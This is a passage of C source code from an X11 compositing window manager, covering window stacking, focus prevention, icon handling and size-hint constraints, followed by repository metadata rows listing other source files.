&= ~CWX; if (xwc->y == w->serverY) xwcm &= ~CWY; if (xwc->width == w->serverWidth) xwcm &= ~CWWidth; if (xwc->height == w->serverHeight) xwcm &= ~CWHeight; if (xwc->border_width == w->serverBorderWidth) xwcm &= ~CWBorderWidth; /* update saved window coordinates - if CWX or CWY is set for fullscreen or maximized windows after addWindowSizeChanges, it should be pretty safe to assume that the saved coordinates should be updated too, e.g. because the window was moved to another viewport by some client */ if ((xwcm & CWX) && (w->saveMask & CWX)) w->saveWc.x += (xwc->x - w->serverX); if ((xwcm & CWY) && (w->saveMask & CWY)) w->saveWc.y += (xwc->y - w->serverY); if (w->mapNum && (xwcm & (CWWidth | CWHeight))) sendSyncRequest(w); if (xwcm) configureXWindow(w, xwcm, xwc); else { /* we have to send a configure notify on ConfigureRequest events if we decide not to do anything according to ICCCM 4.1.5 */ sendConfigureNotify(w); } if (placed) w->placed = TRUE; } void updateWindowSize(CompWindow *w) { XWindowChanges xwc; int mask; if (w->attrib.override_redirect || !w->managed) return; mask = addWindowSizeChanges(w, &xwc, w->serverX, w->serverY, w->serverWidth, w->serverHeight, w->serverBorderWidth); if (mask) { if (w->mapNum && (mask & (CWWidth | CWHeight))) sendSyncRequest(w); configureXWindow(w, mask, &xwc); } } static int addWindowStackChanges(CompWindow *w, XWindowChanges *xwc, CompWindow *sibling) { int mask = 0; if (!sibling || sibling->id != w->id) { CompWindow *prev = w->prev; /* the frame window is always our next sibling window in the stack, although we're searching for the next 'real' sibling, so skip the frame window */ if (prev && prev->id == w->frame) prev = prev->prev; if (prev) { if (!sibling) { XLowerWindow(w->screen->display->display, w->id); if (w->frame) XLowerWindow(w->screen->display->display, w->frame); } else if (sibling->id != prev->id) { mask |= CWSibling | CWStackMode; xwc->stack_mode = Above; xwc->sibling = sibling->id; } } else if (sibling) { mask |= CWSibling | CWStackMode; xwc->stack_mode = Above; xwc->sibling = sibling->id; } } if (sibling && mask) { /* a normal window can be stacked above fullscreen windows but we don't want normal windows to be stacked above dock window so if the sibling we're stacking above is a fullscreen window we also update all dock windows. */ if ((sibling->type & CompWindowTypeFullscreenMask) && (!(w->type & (CompWindowTypeFullscreenMask | CompWindowTypeDockMask))) && !isAncestorTo(w, sibling)) { CompWindow *dw; for (dw = w->screen->reverseWindows; dw; dw = dw->prev) if (dw == sibling) break; for (; dw; dw = dw->prev) if (dw->type & CompWindowTypeDockMask) configureXWindow(dw, mask, xwc); } } return mask; } void raiseWindow(CompWindow *w) { XWindowChanges xwc; int mask; Bool aboveFs = FALSE; /* an active fullscreen window should be raised over all other windows in its layer */ if (w->type & CompWindowTypeFullscreenMask) if (w->id == w->screen->display->activeWindow) aboveFs = TRUE; mask = addWindowStackChanges(w, &xwc, findSiblingBelow(w, aboveFs)); if (mask) configureXWindow(w, mask, &xwc); } static CompWindow * focusTopmostWindow(CompScreen *s) { CompDisplay *d = s->display; CompWindow *w; CompWindow *focus = NULL; for (w = s->reverseWindows; w; w = w->prev) { if (w->type & CompWindowTypeDockMask) continue; if ((*s->focusWindow)(w)) { focus = w; break; } } if (focus) { if (focus->id != d->activeWindow) moveInputFocusToWindow(focus); } else XSetInputFocus(d->display, s->root, RevertToPointerRoot, CurrentTime); return focus; } void lowerWindow(CompWindow *w) { XWindowChanges xwc; int mask; CompDisplay *d = w->screen->display; mask = addWindowStackChanges(w, &xwc, findLowestSiblingBelow(w)); if (mask) configureXWindow(w, mask, &xwc); /* when lowering a window, focus the topmost window if the click-to-focus option is on */ if (d->opt[COMP_DISPLAY_OPTION_CLICK_TO_FOCUS].value.b) { Window aboveId = w->prev ? w->prev->id : None; CompWindow *focusedWindow; unhookWindowFromScreen(w->screen, w); focusedWindow = focusTopmostWindow(w->screen); insertWindowIntoScreen(w->screen, w, aboveId); /* if the newly focused window is a desktop window, give the focus back to w */ if (focusedWindow && focusedWindow->type & CompWindowTypeDesktopMask) moveInputFocusToWindow(w); } } void restackWindowAbove(CompWindow *w, CompWindow *sibling) { for (; sibling; sibling = sibling->next) if (validSiblingBelow(w, sibling)) break; if (sibling) { XWindowChanges xwc; int mask; mask = addWindowStackChanges(w, &xwc, sibling); if (mask) configureXWindow(w, mask, &xwc); } } /* finds the highest window under sibling we can stack above */ static CompWindow * findValidStackSiblingBelow(CompWindow *w, CompWindow *sibling) { CompWindow *lowest, *last, *p; /* check whether we're actually allowed to stack under sibling by finding the sibling above 'sibling' and checking whether we're allowed to stack under that - if not, there's no valid sibling under it */ for (p = sibling; p; p = p->next) { if (!avoidStackingRelativeTo(p)) { if (!validSiblingBelow(p, w)) return NULL; break; } } /* get lowest sibling we're allowed to stack above */ lowest = last = findLowestSiblingBelow(w); /* walk from bottom up */ for (p = w->screen->windows; p; p = p->next) { /* stop walking when we reach the sibling we should try to stack below */ if (p == sibling) return lowest; /* skip windows that we should avoid */ if (w == p || avoidStackingRelativeTo(p)) continue; if (validSiblingBelow(w, p)) { /* update lowest as we find windows below sibling that we're allowed to stack above. last window must be equal to the lowest as we shouldn't update lowest if we passed an invalid window */ if (last == lowest) lowest = p; } /* update last pointer */ last = p; } return lowest; } void restackWindowBelow(CompWindow *w, CompWindow *sibling) { XWindowChanges xwc; unsigned int mask; mask = addWindowStackChanges(w, &xwc, findValidStackSiblingBelow(w, sibling)); if (mask) configureXWindow(w, mask, &xwc); } void updateWindowAttributes(CompWindow *w, CompStackingUpdateMode stackingMode) { XWindowChanges xwc; int mask = 0; if (w->attrib.override_redirect || !w->managed) return; if (w->state & CompWindowStateShadedMask) { hideWindow(w); } else if (w->shaded) { showWindow(w); } if (stackingMode != CompStackingUpdateModeNone) { Bool aboveFs; CompWindow *sibling; aboveFs = (stackingMode == CompStackingUpdateModeAboveFullscreen); if (w->type & CompWindowTypeFullscreenMask) { /* put active or soon-to-be-active fullscreen windows over all others in their layer */ if (w->id == w->screen->display->activeWindow) { aboveFs = TRUE; } } /* put windows that are just mapped, over fullscreen windows */ if (stackingMode == CompStackingUpdateModeInitialMap) aboveFs = TRUE; sibling = findSiblingBelow(w, aboveFs); if (sibling && (stackingMode == CompStackingUpdateModeInitialMapDeniedFocus)) { CompWindow *p; for (p = sibling; p; p = p->prev) if (p->id == w->screen->display->activeWindow) break; /* window is above active window so we should lower it, assuming that * is allowed (if, for example, our window has the "above" state, * then lowering beneath the active window may not be allowed.) */ if (p && validSiblingBelow(p, w)) { p = findValidStackSiblingBelow(sibling, p); /* if we found a valid sibling under the active window, it's our new sibling we want to stack above */ if (p) sibling = p; } } mask |= addWindowStackChanges(w, &xwc, sibling); } if ((stackingMode == CompStackingUpdateModeInitialMap) || (stackingMode == CompStackingUpdateModeInitialMapDeniedFocus)) { /* If we are called from the MapRequest handler, we have to immediately update the internal stack. If we don't do that, the internal stacking order is invalid until the ConfigureNotify arrives because we put the window at the top of the stack when it was created */ if (mask & CWStackMode) { Window above = (mask & CWSibling) ? xwc.sibling : 0; restackWindow(w, above); } } mask |= addWindowSizeChanges(w, &xwc, w->serverX, w->serverY, w->serverWidth, w->serverHeight, w->serverBorderWidth); if (w->mapNum && (mask & (CWWidth | CWHeight))) sendSyncRequest(w); if (mask) configureXWindow(w, mask, &xwc); } static void ensureWindowVisibility(CompWindow *w) { int x1, y1, x2, y2; int width = w->serverWidth + w->serverBorderWidth * 2; int height = w->serverHeight + w->serverBorderWidth * 2; int dx = 0; int dy = 0; if (w->struts || w->attrib.override_redirect) return; if (w->type & (CompWindowTypeDockMask | CompWindowTypeFullscreenMask | CompWindowTypeUnknownMask)) return; x1 = w->screen->workArea.x - w->screen->width * w->screen->x; y1 = w->screen->workArea.y - w->screen->height * w->screen->y; x2 = x1 + w->screen->workArea.width + w->screen->hsize * w->screen->width; y2 = y1 + w->screen->workArea.height + w->screen->vsize * w->screen->height; if (w->serverX - w->input.left >= x2) dx = (x2 - 25) - w->serverX; else if (w->serverX + width + w->input.right <= x1) dx = (x1 + 25) - (w->serverX + width); if (w->serverY - w->input.top >= y2) dy = (y2 - 25) - w->serverY; else if (w->serverY + height + w->input.bottom <= y1) dy = (y1 + 25) - (w->serverY + height); if (dx || dy) { XWindowChanges xwc; xwc.x = w->serverX + dx; xwc.y = w->serverY + dy; configureXWindow(w, CWX | CWY, &xwc); } } static void revealWindow(CompWindow *w) { if (w->minimized) unminimizeWindow(w); (*w->screen->leaveShowDesktopMode)(w->screen, w); } static void revealAncestors(CompWindow *w, void *closure) { CompWindow *transient = closure; if (isAncestorTo(transient, w)) { forEachWindowOnScreen(w->screen, revealAncestors, (void *)w); revealWindow(w); } } void activateWindow(CompWindow *w) { setCurrentDesktop(w->screen, w->desktop); forEachWindowOnScreen(w->screen, revealAncestors, (void *)w); revealWindow(w); if (w->state & CompWindowStateHiddenMask) { w->state &= ~CompWindowStateShadedMask; if (w->shaded) showWindow(w); } if (w->state & CompWindowStateHiddenMask) return; if (!onCurrentDesktop(w)) return; ensureWindowVisibility(w); updateWindowAttributes(w, CompStackingUpdateModeAboveFullscreen); moveInputFocusToWindow(w); } void closeWindow(CompWindow *w, Time serverTime) { CompDisplay *display = w->screen->display; if (serverTime == 0) serverTime = getCurrentTimeFromDisplay(display); if (w->alive) { if (w->protocols & CompWindowProtocolDeleteMask) { XEvent ev; ev.type = ClientMessage; ev.xclient.window = w->id; ev.xclient.message_type = display->wmProtocolsAtom; ev.xclient.format = 32; ev.xclient.data.l[0] = display->wmDeleteWindowAtom; ev.xclient.data.l[1] = serverTime; ev.xclient.data.l[2] = 0; ev.xclient.data.l[3] = 0; ev.xclient.data.l[4] = 0; XSendEvent(display->display, w->id, FALSE, NoEventMask, &ev); } else { XKillClient(display->display, w->id); } w->closeRequests++; } else { toolkitAction(w->screen, w->screen->display->toolkitActionForceQuitDialogAtom, serverTime, w->id, TRUE, 0, 0); } w->lastCloseRequestTime = serverTime; } #define PVertResizeInc (1 << 0) #define PHorzResizeInc (1 << 1) Bool constrainNewWindowSize(CompWindow *w, int width, int height, int *newWidth, int *newHeight) { CompDisplay *d = w->screen->display; const XSizeHints *hints = &w->sizeHints; int oldWidth = width; int oldHeight = height; int min_width = 0; int min_height = 0; int base_width = 0; int base_height = 0; int xinc = 1; int yinc = 1; int max_width = MAXSHORT; int max_height = MAXSHORT; long flags = hints->flags; long resizeIncFlags = (flags & PResizeInc) ? ~0 : 0; if (d->opt[COMP_DISPLAY_OPTION_IGNORE_HINTS_WHEN_MAXIMIZED].value.b) { if (w->state & MAXIMIZE_STATE) { flags &= ~PAspect; if (w->state & CompWindowStateMaximizedHorzMask) resizeIncFlags &= ~PHorzResizeInc; if (w->state & CompWindowStateMaximizedVertMask) resizeIncFlags &= ~PVertResizeInc; } } /* Ater gdk_window_constrain_size(), which is partially borrowed from fvwm. * * Copyright 1993, Robert Nation * You may use this code for any purpose, as long as the original * copyright remains in the source code and all documentation * * which in turn borrows parts of the algorithm from uwm */ #define FLOOR(value, base) (((int)((value) / (base))) * (base)) #define FLOOR64(value, base) (((uint64_t)((value) / (base))) * (base)) #define CLAMP(v, min, max) ((v) <= (min) ? (min) : (v) >= (max) ? (max) : (v)) if ((flags & PBaseSize) && (flags & PMinSize)) { base_width = hints->base_width; base_height = hints->base_height; min_width = hints->min_width; min_height = hints->min_height; } else if (flags & PBaseSize) { base_width = hints->base_width; base_height = hints->base_height; min_width = hints->base_width; min_height = hints->base_height; } else if (flags & PMinSize) { base_width = hints->min_width; base_height = hints->min_height; min_width = hints->min_width; min_height = hints->min_height; } if (flags & PMaxSize) { max_width = hints->max_width; max_height = hints->max_height; } if (resizeIncFlags & PHorzResizeInc) xinc = MAX(xinc, hints->width_inc); if (resizeIncFlags & PVertResizeInc) yinc = MAX(yinc, hints->height_inc); /* clamp width and height to min and max values */ width = CLAMP(width, min_width, max_width); height = CLAMP(height, min_height, max_height); /* shrink to base + N * inc */ width = base_width + FLOOR(width - base_width, xinc); height = base_height + FLOOR(height - base_height, yinc); /* constrain aspect ratio, according to: * * min_aspect.x width max_aspect.x * ------------ <= -------- <= ----------- * min_aspect.y height max_aspect.y */ if ((flags & PAspect) && hints->min_aspect.y > 0 && hints->max_aspect.x > 0) { /* Use 64 bit arithmetic to prevent overflow */ uint64_t min_aspect_x = hints->min_aspect.x; uint64_t min_aspect_y = hints->min_aspect.y; uint64_t max_aspect_x = hints->max_aspect.x; uint64_t max_aspect_y = hints->max_aspect.y; uint64_t delta; if (min_aspect_x * height > width * min_aspect_y) { delta = FLOOR64(height - width * min_aspect_y / min_aspect_x, yinc); if (height - delta >= min_height) height -= delta; else { delta = FLOOR64(height * min_aspect_x / min_aspect_y - width, xinc); if (width + delta <= max_width) width += delta; } } if (width * max_aspect_y > max_aspect_x * height) { delta = FLOOR64(width - height * max_aspect_x / max_aspect_y, xinc); if (width - delta >= min_width) width -= delta; else { delta = FLOOR64(width * min_aspect_y / min_aspect_x - height, yinc); if (height + delta <= max_height) height += delta; } } } #undef CLAMP #undef FLOOR64 #undef FLOOR if (width != oldWidth || height != oldHeight) { *newWidth = width; *newHeight = height; return TRUE; } return FALSE; } void hideWindow(CompWindow *w) { Bool onDesktop = onCurrentDesktop(w); if (!w->managed) return; if (!w->minimized && !w->inShowDesktopMode && !w->hidden && onDesktop) { if (w->state & CompWindowStateShadedMask) { w->shaded = TRUE; } else { return; } } else { addWindowDamage(w); w->shaded = FALSE; //if ((w->state & CompWindowStateShadedMask) && w->frame) //XUnmapWindow(w->screen->display->display, w->frame); } if (!w->pendingMaps && w->attrib.map_state != IsViewable) return; w->pendingUnmaps++; //XUnmapWindow(w->screen->display->display, w->id); if (w->minimized || w->inShowDesktopMode || w->hidden || w->shaded) changeWindowState(w, w->state | CompWindowStateHiddenMask); if (w->shaded && w->id == w->screen->display->activeWindow) moveInputFocusToWindow(w); } void showWindow(CompWindow *w) { Bool onDesktop = onCurrentDesktop(w); if (!w->managed) return; if (w->minimized || w->inShowDesktopMode || w->hidden || !onDesktop) { /* no longer hidden but not on current desktop */ if (!w->minimized && !w->inShowDesktopMode && !w->hidden) changeWindowState(w, w->state & ~CompWindowStateHiddenMask); return; } /* transition from minimized to shaded */ if (w->state & CompWindowStateShadedMask) { w->shaded = TRUE; //if (w->frame) //XMapWindow(w->screen->display->display, w->frame); if (w->height) resizeWindow(w, w->attrib.x, w->attrib.y, w->attrib.width, ++w->attrib.height - 1, w->attrib.border_width); addWindowDamage(w); return; } else { w->shaded = FALSE; } w->pendingMaps++; //XMapWindow(w->screen->display->display, w->id); changeWindowState(w, w->state & ~CompWindowStateHiddenMask); setWindowState(w->screen->display, w->state, w->id); } static void minimizeTransients(CompWindow *w, void *closure) { CompWindow *ancestor = closure; if (w->transientFor == ancestor->id || isGroupTransient(w, ancestor->clientLeader)) { minimizeWindow(w); } } void minimizeWindow(CompWindow *w) { if (!w->managed) return; if (!w->minimized) { w->minimized = TRUE; forEachWindowOnScreen(w->screen, minimizeTransients, (void *)w); hideWindow(w); } } static void unminimizeTransients(CompWindow *w, void *closure) { CompWindow *ancestor = closure; if (w->transientFor == ancestor->id || isGroupTransient(w, ancestor->clientLeader)) unminimizeWindow(w); } void unminimizeWindow(CompWindow *w) { if (w->minimized) { w->minimized = FALSE; showWindow(w); forEachWindowOnScreen(w->screen, unminimizeTransients, (void *)w); } } void maximizeWindow(CompWindow *w, int state) { if (w->attrib.override_redirect) return; state = constrainWindowState(state, w->actions); state &= MAXIMIZE_STATE; if (state == (w->state & MAXIMIZE_STATE)) return; state |= (w->state & ~MAXIMIZE_STATE); changeWindowState(w, state); updateWindowAttributes(w, CompStackingUpdateModeNone); } Bool getWindowUserTime(CompWindow *w, Time *time) { Atom actual; int result, format; unsigned long n, left; unsigned char *data; Bool retval = FALSE; result = XGetWindowProperty(w->screen->display->display, w->id, w->screen->display->wmUserTimeAtom, 0L, 1L, False, XA_CARDINAL, &actual, &format, &n, &left, &data); if (result == Success && data) { if (n) { CARD32 value; memcpy(&value, data, sizeof (CARD32)); retval = TRUE; *time = (Time)value; } XFree((void *)data); } return retval; } void setWindowUserTime(CompWindow *w, Time time) { CARD32 value = (CARD32)time; XChangeProperty(w->screen->display->display, w->id, w->screen->display->wmUserTimeAtom, XA_CARDINAL, 32, PropModeReplace, (unsigned char *)&value, 1); } /* * Macros from marco * * Xserver time can wraparound, thus comparing two timestamps needs to * take this into account. Here's a little macro to help out. If no * wraparound has occurred, this is equivalent to * time1 < time2 * Of course, the rest of the ugliness of this macro comes from * accounting for the fact that wraparound can occur and the fact that * a timestamp of 0 must be special-cased since it means older than * anything else. * * Note that this is NOT an equivalent for time1 <= time2; if that's * what you need then you'll need to swap the order of the arguments * and negate the result. */ #define XSERVER_TIME_IS_BEFORE_ASSUMING_REAL_TIMESTAMPS(time1, time2) \ ((((time1) < (time2)) && \ ((time2) - (time1) < ((unsigned long)-1) / 2)) || \ (((time1) > (time2)) && \ ((time1) - (time2) > ((unsigned long)-1) / 2)) \ ) #define XSERVER_TIME_IS_BEFORE(time1, time2) \ ((time1) == 0 || \ (XSERVER_TIME_IS_BEFORE_ASSUMING_REAL_TIMESTAMPS(time1, time2) && \ (time2) != 0) \ ) static Bool getUsageTimestampForWindow(CompWindow *w, Time *timestamp) { if (getWindowUserTime(w, timestamp)) return TRUE; if (w->initialTimestampSet) { *timestamp = w->initialTimestamp; return TRUE; } return FALSE; } static Bool getFocusWindowUsageTimestamp(CompWindow *w, Time *timestamp) { if (getUsageTimestampForWindow(w, timestamp)) return TRUE; /* if we got no timestamp for the window, try to get at least a timestamp for its transient parent, if any */ if (w->transientFor) { CompWindow *parent; parent = findWindowAtScreen(w->screen, w->transientFor); if (parent && getUsageTimestampForWindow(parent, timestamp)) return TRUE; } return FALSE; } static Bool isWindowFocusAllowed(CompWindow *w, unsigned int viewportX, unsigned int viewportY, Time timestamp) { CompDisplay *d = w->screen->display; CompScreen *s = w->screen; CompWindow *active; Time aUserTime; CompMatch *match; int level, vx, vy; level = s->opt[COMP_SCREEN_OPTION_FOCUS_PREVENTION_LEVEL].value.i; if (level == FOCUS_PREVENTION_LEVEL_NONE) return TRUE; /* allow focus for excluded windows */ match = &s->opt[COMP_SCREEN_OPTION_FOCUS_PREVENTION_MATCH].value.match; if (!matchEval(match, w)) return TRUE; if (level == FOCUS_PREVENTION_LEVEL_VERYHIGH) return FALSE; active = findWindowAtDisplay(d, d->activeWindow); /* no active window */ if (!active || (active->type & CompWindowTypeDesktopMask)) return TRUE; /* active window belongs to same application */ if (w->clientLeader == active->clientLeader) return TRUE; if (level == FOCUS_PREVENTION_LEVEL_HIGH) return FALSE; /* not in current viewport or desktop */ if (!onCurrentDesktop(w)) return FALSE; defaultViewportForWindow(w, &vx, &vy); if (vx != viewportX || vy != viewportY) return FALSE; if (!timestamp) { /* unsure as we have nothing to compare - allow focus in low level, don't allow in normal level */ if (level == FOCUS_PREVENTION_LEVEL_NORMAL) return FALSE; return TRUE; } /* can't get user time for active window */ if (!getWindowUserTime(active, &aUserTime)) return TRUE; if (XSERVER_TIME_IS_BEFORE(timestamp, aUserTime)) return FALSE; return TRUE; } CompFocusResult allowWindowFocus(CompWindow *w, unsigned int noFocusMask, unsigned int viewportX, unsigned int viewportY, Time timestamp) { Bool status; if (w->id == w->screen->display->activeWindow) return CompFocusAllowed; /* do not focus windows of these types */ if (w->type & noFocusMask) return CompFocusPrevent; /* window doesn't take focus */ if (!w->inputHint && !(w->protocols & CompWindowProtocolTakeFocusMask)) return CompFocusPrevent; if (!timestamp) { /* if the window has a 0 timestamp, it explicitly requested no focus */ if (getFocusWindowUsageTimestamp(w, &timestamp) && !timestamp) return CompFocusPrevent; } status = isWindowFocusAllowed(w, viewportX, viewportY, timestamp); if (!status) { /* add demands attention state if focus was prevented */ changeWindowState(w, w->state | CompWindowStateDemandsAttentionMask); return CompFocusDenied; } return CompFocusAllowed; } void unredirectWindow(CompWindow *w) { if (!w->redirected) return; releaseWindow(w); //XCompositeUnredirectWindow(w->screen->display->display, w->id, //CompositeRedirectManual); w->redirected = FALSE; w->overlayWindow = TRUE; w->screen->overlayWindowCount++; if (w->screen->overlayWindowCount > 0) updateOutputWindow(w->screen); } void redirectWindow(CompWindow *w) { if (w->redirected) return; //XCompositeRedirectWindow(w->screen->display->display, w->id, //CompositeRedirectManual); w->redirected = TRUE; if (w->overlayWindow) { w->screen->overlayWindowCount--; w->overlayWindow = FALSE; } if (w->screen->overlayWindowCount < 1) showOutputWindow(w->screen); else updateOutputWindow(w->screen); } void defaultViewportForWindow(CompWindow *w, int *vx, int *vy) { CompScreen *s = w->screen; /* return the current viewport if a part of the window is visible on it */ if ((w->serverX < s->width && w->serverX + w->serverWidth > 0) && (w->serverY < s->height && w->serverY + w->serverHeight > 0)) { if (vx) *vx = s->x; if (vy) *vy = s->y; return; } viewportForGeometry(s, w->serverX, w->serverY, w->serverWidth, w->serverHeight, w->serverBorderWidth, vx, vy); } static CARD32 * allocateWindowIcon(CompWindow *w, unsigned int width, unsigned int height) { CompIcon *icon, **pIcon; icon = malloc(sizeof (CompIcon) + width * height * sizeof (CARD32)); if (!icon) return NULL; pIcon = realloc(w->icon, sizeof (CompIcon *) * (w->nIcon + 1)); if (!pIcon) { free(icon); return NULL; } w->icon = pIcon; w->icon[w->nIcon] = icon; w->nIcon++; icon->width = width; icon->height = height; initTexture(w->screen, &icon->texture); return (CARD32 *)(icon + 1); } static void readWindowIconHint(CompWindow *w) { XImage *image, *maskImage = NULL; Display *dpy = w->screen->display->display; unsigned int width, height, dummy; int i, j, k, iDummy; Window wDummy; CARD32 *p; XColor *colors; if (!XGetGeometry(dpy, w->hints->icon_pixmap, &wDummy, &iDummy, &iDummy, &width, &height, &dummy, &dummy)) return; image = XGetImage(dpy, w->hints->icon_pixmap, 0, 0, width, height, AllPlanes, ZPixmap); if (!image) return; colors = malloc(width * height * sizeof (XColor)); if (!colors) { XDestroyImage(image); return; } k = 0; for (j = 0; j < height; j++) for (i = 0; i < width; i++) colors[k++].pixel = XGetPixel(image, i, j); for (i = 0; i < k; i += 256) XQueryColors(dpy, w->screen->colormap, &colors[i], MIN(k - i, 256)); XDestroyImage(image); p = allocateWindowIcon(w, width, height); if (!p) { free(colors); return; } if (w->hints->flags & IconMaskHint) maskImage = XGetImage(dpy, w->hints->icon_mask, 0, 0, width, height, AllPlanes, ZPixmap); k = 0; for (j = 0; j < height; j++) { for (i = 0; i < width; i++) { if (maskImage && !XGetPixel(maskImage, i, j)) *p++ = 0; else if (image->depth == 1) *p++ = colors[k].pixel ? 0xffffffff : 0xff000000; else *p++ = 0xff000000 | /* alpha */ (((colors[k].red >> 8) & 0xff) << 16) | /* red */ (((colors[k].green >> 8) & 0xff) << 8) | /* green */ ((colors[k].blue >> 8) & 0xff); /* blue */ k++; } } free(colors); if (maskImage) XDestroyImage(maskImage); } /* returns icon with dimensions as close as possible to width and height but never greater. */ CompIcon * getWindowIcon(CompWindow *w, int width, int height) { CompIcon *icon; int i, wh, diff, oldDiff; /* need to fetch icon property */ if (w->nIcon == 0) { Atom actual; int result, format; unsigned long n, left; unsigned char *data; result = XGetWindowProperty(w->screen->display->display, w->id, w->screen->display->wmIconAtom, 0L, 65536L, FALSE, XA_CARDINAL, &actual, &format, &n, &left, &data); if (result == Success && data) { CARD32 *p; CARD32 alpha, red, green, blue; unsigned long iw, ih; for (i = 0; i + 2 < n; i += iw * ih + 2) { unsigned long *idata = (unsigned long *)data; unsigned long j; iw = idata[i]; ih = idata[i + 1]; /* iw * ih may be larger than the value range of unsigned long, so better do some checking for extremely weird icon sizes first */ if (iw > 2048 || ih > 2048 || iw * ih + 2 > n - i) break; if (iw && ih) { p = allocateWindowIcon(w, iw, ih); if (!p) continue; /* EWMH doesn't say if icon data is premultiplied or not but most applications seem to assume data should be unpremultiplied. */ for (j = 0; j < iw * ih; j++) { alpha = (idata[i + j + 2] >> 24) & 0xff; red = (idata[i + j + 2] >> 16) & 0xff; green = (idata[i + j + 2] >> 8) & 0xff; blue = (idata[i + j + 2] >> 0) & 0xff; red = (red * alpha) >> 8; green = (green * alpha) >> 8; blue = (blue * alpha) >> 8; p[j] = (alpha << 24) | (red << 16) | (green << 8) | (blue << 0); } } } XFree(data); } else if (w->hints && (w->hints->flags & IconPixmapHint)) readWindowIconHint(w); /* don't fetch property again */ if (w->nIcon == 0) w->nIcon = -1; } /* no icons available for this window */ if (w->nIcon == -1) return NULL; icon = NULL; wh = width + height; for (i = 0; i < w->nIcon; i++) { if (w->icon[i]->width > width || w->icon[i]->height > height) continue; if (icon) { diff = wh - (w->icon[i]->width + w->icon[i]->height); oldDiff = wh - (icon->width + icon->height); if (diff < oldDiff) icon = w->icon[i]; } else icon = w->icon[i]; } return icon; } void freeWindowIcons(CompWindow *w) { int i; for (i = 0; i < w->nIcon; i++) { finiTexture(w->screen, &w->icon[i]->texture); free(w->icon[i]); } if (w->icon) { free(w->icon); w->icon = NULL; } w->nIcon = 0; } int outputDeviceForWindow(CompWindow *w) { return outputDeviceForGeometry(w->screen, w->serverX, w->serverY, w->serverWidth, w->serverHeight, w->serverBorderWidth); } Bool onCurrentDesktop(CompWindow *w) { if (w->desktop == 0xffffffff || w->desktop == w->screen->currentDesktop) return TRUE; return FALSE; } void setDesktopForWindow(CompWindow *w, unsigned int desktop) { if (desktop != 0xffffffff) { if (w->type & (CompWindowTypeDesktopMask | CompWindowTypeDockMask)) return; if (desktop >= w->screen->nDesktop) return; } if (desktop == w->desktop) return; w->desktop = desktop; if (desktop == 0xffffffff || desktop == w->screen->currentDesktop) showWindow(w); else hideWindow(w); setWindowProp(w->screen->display, w->id, w->screen->display->winDesktopAtom, w->desktop); } /* The compareWindowActiveness function compares the two windows 'w1' and 'w2'. It returns an integer less than, equal to, or greater than zero if 'w1' is found, respectively, to activated longer time ago than, to be activated at the same time, or be activated more recently than 'w2'. */ int compareWindowActiveness(CompWindow *w1, CompWindow *w2) { CompScreen *s = w1->screen; CompActiveWindowHistory *history = &s->history[s->currentHistory]; int i; /* check current window history first */ for (i = 0; i < ACTIVE_WINDOW_HISTORY_SIZE; i++) { if (history->id[i] == w1->id) return 1; if (history->id[i] == w2->id) return -1; if (!history->id[i]) break; } return w1->activeNum - w2->activeNum; } Bool windowOnAllViewports(CompWindow *w) { if (w->attrib.override_redirect) return TRUE; if (!w->managed && w->attrib.map_state != IsViewable) return TRUE; if (w->type & (CompWindowTypeDesktopMask | CompWindowTypeDockMask)) return TRUE; if (w->state & CompWindowStateStickyMask) return TRUE; return FALSE; } void getWindowMovementForOffset(CompWindow *w, int offX, int offY, int *retX, int *retY) { CompScreen *s = w->screen; int m, vWidth, vHeight; vWidth = s->width * s->hsize; vHeight = s->height * s->vsize; offX %= s->width * s->hsize; offY %= s->height * s->vsize; /* x */ if (s->hsize == 1) { (*retX) = offX; } else { m = w->attrib.x + offX; if (m - w->input.left < s->width - vWidth) *retX = offX + vWidth; else if (m + w->width + w->input.right > vWidth) *retX = offX - vWidth; else *retX = offX; } if (s->vsize == 1) { *retY = offY; } else { m = w->attrib.y + offY; if (m - w->input.top < s->height - vHeight) *retY = offY + vHeight; else if (m + w->height + w->input.bottom > vHeight) *retY = offY - vHeight; else *retY = offY; } }
26.159892
92
0.537467
27db504fd7778eb68e21e9887534729deae9ae72
407
h
C
gearbox/job/StatusImplV1.h
coryb/gearbox
88027f2f101c2d1fab16093928963052b9d3294d
[ "Artistic-1.0-Perl", "BSD-3-Clause" ]
3
2015-06-26T15:37:40.000Z
2016-05-22T07:42:39.000Z
gearbox/job/StatusImplV1.h
coryb/gearbox
88027f2f101c2d1fab16093928963052b9d3294d
[ "Artistic-1.0-Perl", "BSD-3-Clause" ]
null
null
null
gearbox/job/StatusImplV1.h
coryb/gearbox
88027f2f101c2d1fab16093928963052b9d3294d
[ "Artistic-1.0-Perl", "BSD-3-Clause" ]
null
null
null
#ifndef GEARBOX_STATUS_IMPL_V1_H #define GEARBOX_STATUS_IMPL_V1_H #include <vector> #include <string> #include <time.h> #include <gearbox/job/StatusImpl.h> #include <gearbox/core/ConfigFile.h> namespace Gearbox { class StatusImplV1 : public StatusImpl { typedef StatusImpl super; public: StatusImplV1(const ConfigFile & cfg); virtual int version() const; }; } #endif
19.380952
45
0.710074
f1f79ba361b75e578748a770a812c1fea32af63c
1,062
h
C
Submodules/Peano/src/toolboxes/matrixfree/solver/tests/MultigridTest.h
linusseelinger/ExaHyPE-Tsunami
92a6e14926862e1584ef1e935874c91d252e8112
[ "BSD-3-Clause" ]
2
2019-08-14T22:41:26.000Z
2020-02-04T19:30:24.000Z
Submodules/Peano/src/toolboxes/matrixfree/solver/tests/MultigridTest.h
linusseelinger/ExaHyPE-Tsunami
92a6e14926862e1584ef1e935874c91d252e8112
[ "BSD-3-Clause" ]
null
null
null
Submodules/Peano/src/toolboxes/matrixfree/solver/tests/MultigridTest.h
linusseelinger/ExaHyPE-Tsunami
92a6e14926862e1584ef1e935874c91d252e8112
[ "BSD-3-Clause" ]
3
2019-07-22T10:27:36.000Z
2020-05-11T12:25:29.000Z
